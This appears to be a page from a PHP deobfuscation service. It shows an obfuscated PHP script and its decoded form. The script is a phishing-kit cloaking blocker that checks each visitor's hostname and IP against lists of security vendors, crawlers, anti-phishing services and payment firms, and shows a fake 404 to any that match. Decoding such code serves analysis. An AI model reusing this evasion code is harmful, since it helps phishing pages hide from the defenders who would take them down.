Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42A\x4cS"}["\x6e\x76\x6f\x6d\x6fo\x67r\x6c\x68z"]="\x69\x70";${"\x4..
Decoded Output download
<?php ${"GLOBALS"}["nvomoogrlhz"]="ip";${"GLOBALS"}["crhmnfl"]="bannedIP";${"GLOBALS"}["xgkamrktqbx"]="word";${"GLOBALS"}["hfqpgvewi"]="blocked_words";$yehidthorj="hostname";${$yehidthorj}=gethostbyaddr($_SERVER["REMOTE_ADDR"]);${${"GLOBALS"}["hfqpgvewi"]}=array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","msnbot","p3pwgdsn","netcraft","trendmicro","ebay","paypal","torservers","messagelabs","sucuri.net","crawler");foreach(${${"GLOBALS"}["hfqpgvewi"]} as${${"GLOBALS"}["xgkamrktqbx"]}){${"GLOBALS"}["mjcchbf"]="hostname";$mufnloepum="word";if(substr_count(${${"GLOBALS"}["mjcchbf"]},${$mufnloepum})>0){header("HTTP/1.0 404 Not Found");die("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}${${"GLOBALS"}["crhmnfl"]}=array("^81.161.59.*","^66.135.200.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","^91.103.66.*","^208.91.115.*","^199.30.228.*");if(in_array($_SERVER["REMOTE_ADDR"],${${"GLOBALS"}["crhmnfl"]})){header("HTTP/1.0 404 Not Found");exit();}else{foreach(${${"GLOBALS"}["crhmnfl"]} as${${"GLOBALS"}["nvomoogrlhz"]}){$wvyddgeoqxp="ip";if(preg_match("/".${$wvyddgeoqxp}."/",$_SERVER["REMOTE_ADDR"])){header("HTTP/1.0 404 Not Found");die("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42A\x4cS"}["\x6e\x76\x6f\x6d\x6fo\x67r\x6c\x68z"]="\x69\x70";${"\x47LOBA\x4c\x53"}["\x63r\x68\x6d\x6e\x66\x6c"]="\x62a\x6e\x6e\x65\x64\x49P";${"\x47L\x4f\x42AL\x53"}["\x78gk\x61\x6d\x72k\x74\x71b\x78"]="word";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68f\x71\x70\x67v\x65\x77\x69"]="\x62l\x6fc\x6b\x65\x64\x5f\x77\x6f\x72\x64\x73";$yehidthorj="\x68\x6fstname";${$yehidthorj}=gethostbyaddr($_SERVER["REM\x4f\x54\x45\x5fADDR"]);${${"\x47\x4cO\x42ALS"}["\x68\x66q\x70\x67\x76ewi"]}=array("\x61b\x6f\x76\x65","g\x6f\x6f\x67le","\x73o\x66\x74\x6c\x61ye\x72","am\x61zona\x77\x73","c\x79\x76\x65\x69\x6c\x6c\x61n\x63e","\x70\x68\x69\x73h\x74\x61\x6ek","d\x72eamh\x6fst","netp\x69lo\x74","ca\x6c\x79x\x69\x6e\x73t\x69tute","\x74or-exi\x74","\x6ds\x6e\x62\x6f\x74","p\x33pw\x67\x64sn","\x6e\x65\x74\x63r\x61\x66t","\x74r\x65ndm\x69\x63ro","\x65bay","pa\x79pal","t\x6frse\x72vers","m\x65ssag\x65la\x62s","\x73\x75\x63u\x72i\x2e\x6ee\x74","\x63rawl\x65\x72");foreach(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x68\x66\x71\x70\x67v\x65wi"]} as${${"GL\x4f\x42\x41LS"}["xgk\x61m\x72\x6btq\x62\x78"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x6a\x63\x63\x68bf"]="h\x6fs\x74nam\x65";$mufnloepum="\x77\x6fr\x64";if(substr_count(${${"G\x4cO\x42A\x4cS"}["m\x6a\x63ch\x62\x66"]},${$mufnloepum})>0){header("\x48\x54T\x50/1\x2e0\x20\x340\x34 Not\x20\x46o\x75\x6ed");die("<\x68\x31>\x34\x30\x34 \x4eot\x20Fou\x6e\x64\x3c/h1>T\x68e\x20p\x61g\x65\x20tha\x74 y\x6fu\x20\x68\x61\x76e \x72\x65\x71\x75es\x74\x65\x64\x20\x63ou\x6cd\x20n\x6f\x74\x20\x62\x65\x20\x66\x6fu\x6e\x64.");}}${${"\x47L\x4f\x42\x41LS"}["cr\x68\x6d\x6e\x66l"]}=array("^\x381\x2e\x316\x31.5\x39\x2e*","^\x366\x2e1\x335.200\x2e*","^66\x2e10\x32.*.*","^\x338\x2e\x3100.*.*","^1\x30\x37.17\x30\x2e*\x2e*","^\x314\x39.2\x30.*\x2e*","^3\x38.10\x35\x2e*\x2e*","^74.125\x2e*.*","^6\x36\x2e\x31\x35\x30.1\x34\x2e*","^54.\x317\x36.*\x2e*","^3\x38\x2e100\x2e*\x2e*","^184.1\x37\x33.*\x2e*","^66.2\x349.*\x2e*","^128.2\x34\x32.*\x2e*","^\x372.14\x2e19\x32\x2e*","^\x32\x308\x2e65.\x314\x34.*","^\x374.\x31\x325.*\x2e*","^20\x39.\x385\x2e\x31\x32\x38.*","^\x32\x316\x2e2\x339\x2e\x332.*","^\x374\x2e\x31\x32\x35.*.*","^\x3207.\x312\x36\x2e1\x34\x34\x2e*","^17\x33\x2e194.*.*","^6\x34\x2e\x323\x33\x2e16\x30.*","^72\x2e\x314\x2e1\x39\x32\x2e*","^66.\x3102.*.*","^\x364\x2e\x31\x38.*.*","^1\x39\x34.5\x32\x2e68\x2e*","^\x3194.72\x2e2\x338.*","^\x36\x32.\x3116\x2e207.*","^2\x31\x32\x2e5\x30.19\x33\x2e*","^69.6\x35\x2e*\x2e*","^\x35\x30.7\x2e*\x2e*","^131.212.*.*","^4\x36\x2e116.*\x2e* ","^62.90.*\x2e*","^89.1\x33\x38.*.*","^8\x32.166\x2e*.*","^\x38\x35\x2e64.*\x2e*","^\x385.2\x35\x30.*.*","^8\x39\x2e1\x33\x38.*\x2e*","^\x393.1\x37\x32.*.*","^1\x309\x2e\x31\x38\x36\x2e*\x2e*","^\x31\x39\x34\x2e\x39\x30.*\x2e*","^2\x31\x32\x2e\x329\x2e\x31\x392.*","^\x3212\x2e2\x39.\x32\x32\x34.*","^\x321\x32\x2e1\x343\x2e*\x2e*","^2\x312\x2e1\x350\x2e*\x2e*","^212.\x323\x35\x2e*.*","^217.13\x32\x2e*.*","^5\x30\x2e\x397\x2e*\x2e*","^\x3217\x2e1\x33\x32.*.*","^209.85\x2e*.*","^\x366.2\x30\x35.\x364.*","^20\x34\x2e14\x2e48\x2e*","^\x36\x34\x2e27.\x32\x2e*","^67\x2e\x315.*.*","^2\x302\x2e\x31\x30\x38\x2e\x32\x35\x32\x2e*","^193\x2e\x34\x37.8\x30.*","^\x364.6\x32.1\x336.*","^\x36\x36\x2e\x32\x32\x31\x2e*\x2e*","^\x364\x2e62\x2e\x31\x375.*","^1\x398.\x354.*.*","^19\x32\x2e1\x31\x35.\x31\x33\x34.*","^21\x36\x2e\x3252\x2e\x31\x36\x37.*","^\x319\x33.\x32\x35\x33\x2e\x31\x39\x39\x2e*","^69.\x36\x31.12\x2e*","^64.\x33\x37.\x310\x33.*","^3\x38\x2e1\x34\x34\x2e36\x2e*","^\x36\x34.12\x34.14.*","^\x3206.\x328.\x37\x32\x2e*","^20\x39.\x373.\x322\x38\x2e*","^1\x35\x38\x2e108\x2e*.*","^1\x368\x2e\x31\x38\x38\x2e*.*","^\x36\x36\x2e\x320\x37\x2e1\x320.*","^1\x36\x37\x2e\x32\x34.*\x2e*","^1\x392.\x311\x38\x2e\x348.*","^\x367\x2e209.1\x32\x38.*","^12.148.20\x39\x2e*","^1\x32\x2e\x314\x38\x2e1\x396\x2e*","^\x31\x39\x33\x2e2\x320\x2e\x3178.*","68\x2e\x36\x35\x2e5\x33.\x37\x31","^1\x39\x38.\x32\x35.*\x2e*","^\x36\x34.106.\x32\x31\x33.*","^\x39\x31\x2e\x310\x33.\x366.*","^\x32\x30\x38.\x391.11\x35.*","^199.\x330.2\x32\x38\x2e*");if(in_array($_SERVER["R\x45M\x4f\x54E\x5fA\x44\x44R"],${${"\x47L\x4f\x42\x41\x4c\x53"}["cr\x68\x6d\x6e\x66l"]})){header("\x48\x54TP/1\x2e\x30\x2040\x34\x20\x4e\x6f\x74 \x46\x6f\x75\x6e\x64");exit();}else{foreach(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63\x72\x68\x6d\x6ef\x6c"]} as${${"GLO\x42\x41\x4cS"}["\x6ev\x6fm\x6f\x6f\x67r\x6c\x68z"]}){$wvyddgeoqxp="\x69\x70";if(preg_match("/".${$wvyddgeoqxp}."/",$_SERVER["\x52\x45\x4d\x4fTE_\x41\x44\x44R"])){header("\x48\x54T\x50/1.0\x20\x3404 \x4e\x6ft Fou\x6ed");die("\x3c\x681\x3e\x340\x34\x20\x4eo\x74\x20F\x6fu\x6ed\x3c/h\x31\x3eT\x68\x65 \x70\x61\x67e\x20t\x68\x61t\x20you ha\x76e re\x71\x75e\x73\x74\x65d\x20co\x75l\x64\x20no\x74\x20b\x65 \x66\x6fu\x6e\x64\x2e");}}}
?>
Function Calls
| None |
Stats
| MD5 | f5c9a297d2bf07b8ecbc332c535d9b6e |
| Eval Count | 0 |
| Decode Time | 87 ms |